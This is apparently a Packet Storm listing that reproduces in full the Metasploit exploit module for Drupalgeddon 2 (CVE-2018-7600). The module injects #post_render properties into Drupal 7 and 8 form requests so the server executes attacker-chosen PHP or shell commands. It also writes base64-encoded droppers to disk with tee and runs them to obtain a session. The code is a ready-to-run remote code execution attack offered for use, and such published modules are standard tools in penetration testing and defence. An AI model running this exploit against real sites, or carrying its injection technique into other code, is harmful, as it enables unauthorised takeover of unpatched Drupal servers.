Lucene search

K
packetstormFireFartPACKETSTORM:147392
HistoryApr 26, 2018 - 12:00 a.m.

Drupal Drupalgeddon 2 Forms API Property Injection

2018-04-2600:00:00
FireFart
packetstormsecurity.com
157

0.976 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
# XXX: CmdStager can't handle badchars  
include Msf::Exploit::PhpEXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',  
'Description' => %q{  
This module exploits a Drupal property injection in the Forms API.  
  
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.  
},  
'Author' => [  
'Jasper Mattsson', # Vulnerability discovery  
'a2u', # Proof of concept (Drupal 8.x)  
'Nixawk', # Proof of concept (Drupal 8.x)  
'FireFart', # Proof of concept (Drupal 7.x)  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2018-7600'],  
['URL', 'https://www.drupal.org/sa-core-2018-002'],  
['URL', 'https://greysec.net/showthread.php?tid=2912'],  
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],  
['URL', 'https://github.com/a2u/CVE-2018-7600'],  
['URL', 'https://github.com/nixawk/labs/issues/19'],  
['URL', 'https://github.com/FireFart/CVE-2018-7600'],  
['AKA', 'SA-CORE-2018-002'],  
['AKA', 'Drupalgeddon 2']  
],  
'DisclosureDate' => 'Mar 28 2018',  
'License' => MSF_LICENSE,  
'Platform' => ['php', 'unix', 'linux'],  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Payload' => {'BadChars' => '&>\''},  
# XXX: Using "x" in Gem::Version::new isn't technically appropriate  
'Targets' => [  
#  
# Automatic targets (PHP, cmd/unix, native)  
#  
['Automatic (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_memory  
],  
['Automatic (PHP Dropper)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_dropper  
],  
['Automatic (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory  
],  
['Automatic (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper  
],  
#  
# Drupal 7.x targets (PHP, cmd/unix, native)  
#  
['Drupal 7.x (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('7.x'),  
'Type' => :php_memory  
],  
['Drupal 7.x (PHP Dropper)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('7.x'),  
'Type' => :php_dropper  
],  
['Drupal 7.x (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Version' => Gem::Version.new('7.x'),  
'Type' => :unix_memory  
],  
['Drupal 7.x (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Version' => Gem::Version.new('7.x'),  
'Type' => :linux_dropper  
],  
#  
# Drupal 8.x targets (PHP, cmd/unix, native)  
#  
['Drupal 8.x (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('8.x'),  
'Type' => :php_memory  
],  
['Drupal 8.x (PHP Dropper)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('8.x'),  
'Type' => :php_dropper  
],  
['Drupal 8.x (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Version' => Gem::Version.new('8.x'),  
'Type' => :unix_memory  
],  
['Drupal 8.x (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Version' => Gem::Version.new('8.x'),  
'Type' => :linux_dropper  
]  
],  
'DefaultTarget' => 0, # Automatic (PHP In-Memory)  
'DefaultOptions' => {'WfsDelay' => 2}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),  
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),  
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])  
])  
  
register_advanced_options([  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])  
])  
end  
  
def check  
checkcode = CheckCode::Safe  
  
if drupal_version  
print_status("Drupal #{@version} targeted at #{full_uri}")  
checkcode = CheckCode::Detected  
else  
print_error('Could not determine Drupal version to target')  
return CheckCode::Unknown  
end  
  
if drupal_unpatched?  
print_good('Drupal appears unpatched in CHANGELOG.txt')  
checkcode = CheckCode::Appears  
end  
  
token = random_crap  
res = execute_command(token, func: 'printf')  
  
if res && res.body.start_with?(token)  
checkcode = CheckCode::Vulnerable  
end  
  
checkcode  
end  
  
def exploit  
unless check == CheckCode::Vulnerable || datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  
end  
  
if datastore['PAYLOAD'] == 'cmd/unix/generic'  
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')  
# XXX: Naughty datastore modification  
datastore['DUMP_OUTPUT'] = true  
end  
  
# NOTE: assert() is attempted first, then PHP_FUNC if that fails  
case target['Type']  
when :php_memory  
execute_command(payload.encoded, func: 'assert')  
  
sleep(wfs_delay)  
return if session_created?  
  
# XXX: This will spawn a *very* obvious process  
execute_command("php -r '#{payload.encoded}'")  
when :unix_memory  
execute_command(payload.encoded)  
when :php_dropper, :linux_dropper  
dropper_assert  
  
sleep(wfs_delay)  
return if session_created?  
  
dropper_exec  
end  
end  
  
def dropper_assert  
php_file = Pathname.new(  
"#{datastore['WritableDir']}/#{random_crap}.php"  
).cleanpath  
  
# Return the PHP payload or a PHP binary dropper  
dropper = get_write_exec_payload(  
writable_path: datastore['WritableDir'],  
unlink_self: true # Worth a shot  
)  
  
# Encode away potential badchars with Base64  
dropper = Rex::Text.encode_base64(dropper)  
  
# Stage 1 decodes the PHP and writes it to disk  
stage1 = %Q{  
file_put_contents("#{php_file}", base64_decode("#{dropper}"));  
}  
  
# Stage 2 executes said PHP in-process  
stage2 = %Q{  
include_once("#{php_file}");  
}  
  
# :unlink_self may not work, so let's make sure  
register_file_for_cleanup(php_file)  
  
# Hopefully pop our shell with assert()  
execute_command(stage1.strip, func: 'assert')  
execute_command(stage2.strip, func: 'assert')  
end  
  
def dropper_exec  
php_file = "#{random_crap}.php"  
tmp_file = Pathname.new(  
"#{datastore['WritableDir']}/#{php_file}"  
).cleanpath  
  
# Return the PHP payload or a PHP binary dropper  
dropper = get_write_exec_payload(  
writable_path: datastore['WritableDir'],  
unlink_self: true # Worth a shot  
)  
  
# Encode away potential badchars with Base64  
dropper = Rex::Text.encode_base64(dropper)  
  
# :unlink_self may not work, so let's make sure  
register_file_for_cleanup(php_file)  
  
# Write the payload or dropper to disk (!)  
# NOTE: Analysis indicates > is a badchar for 8.x  
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")  
  
# Attempt in-process execution of our PHP script  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, php_file)  
)  
  
sleep(wfs_delay)  
return if session_created?  
  
# Try to get a shell with PHP CLI  
execute_command("php #{php_file}")  
  
sleep(wfs_delay)  
return if session_created?  
  
register_file_for_cleanup(tmp_file)  
  
# Fall back on our temp file  
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")  
execute_command("php #{tmp_file}")  
end  
  
def execute_command(cmd, opts = {})  
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'  
  
vprint_status("Executing with #{func}(): #{cmd}")  
  
res =  
case @version.to_s  
when '7.x'  
exploit_drupal7(func, cmd)  
when '8.x'  
exploit_drupal8(func, cmd)  
end  
  
if res && res.code != 200  
print_error("Unexpected reply: #{res.inspect}")  
return  
end  
  
if res && datastore['DUMP_OUTPUT']  
print_line(res.body)  
end  
  
res  
end  
  
def drupal_version  
if target['Version']  
@version = target['Version']  
return @version  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => target_uri.path  
)  
  
return unless res && res.code == 200  
  
# Check for an X-Generator header  
@version =  
case res.headers['X-Generator']  
when /Drupal 7/  
Gem::Version.new('7.x')  
when /Drupal 8/  
Gem::Version.new('8.x')  
end  
  
return @version if @version  
  
# Check for a <meta> tag  
generator = res.get_html_document.at(  
'//meta[@name = "Generator"]/@content'  
)  
  
return unless generator  
  
@version =  
case generator.value  
when /Drupal 7/  
Gem::Version.new('7.x')  
when /Drupal 8/  
Gem::Version.new('8.x')  
end  
end  
  
def drupal_unpatched?  
unpatched = true  
  
# Check for patch level in CHANGELOG.txt  
uri =  
case @version.to_s  
when '7.x'  
normalize_uri(target_uri.path, 'CHANGELOG.txt')  
when '8.x'  
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
  
return unless res && res.code == 200  
  
if res.body.include?('SA-CORE-2018-002')  
unpatched = false  
end  
  
unpatched  
end  
  
def exploit_drupal7(func, code)  
vars_get = {  
'q' => 'user/password',  
'name[#post_render][]' => func,  
'name[#markup]' => code,  
'name[#type]' => 'markup'  
}  
  
vars_post = {  
'form_id' => 'user_pass',  
'_triggering_element_name' => 'name'  
}  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => target_uri.path,  
'vars_get' => vars_get,  
'vars_post' => vars_post  
)  
  
return res unless res && res.code == 200  
  
form_build_id = res.get_html_document.at(  
'//input[@name = "form_build_id"]/@value'  
)  
  
return res unless form_build_id  
  
vars_get = {  
'q' => "file/ajax/name/#value/#{form_build_id.value}"  
}  
  
vars_post = {  
'form_build_id' => form_build_id.value  
}  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => target_uri.path,  
'vars_get' => vars_get,  
'vars_post' => vars_post  
)  
end  
  
def exploit_drupal8(func, code)  
# Clean URLs are enabled by default and "can't" be disabled  
uri = normalize_uri(target_uri.path, 'user/register')  
  
vars_get = {  
'element_parents' => 'account/mail/#value',  
'ajax_form' => 1,  
'_wrapper_format' => 'drupal_ajax'  
}  
  
vars_post = {  
'form_id' => 'user_register_form',  
'_drupal_ajax' => 1,  
'mail[#type]' => 'markup',  
'mail[#post_render][]' => func,  
'mail[#markup]' => code  
}  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_get' => vars_get,  
'vars_post' => vars_post  
)  
end  
  
def random_crap  
Rex::Text.rand_text_alphanumeric(8..42)  
end  
  
end  
`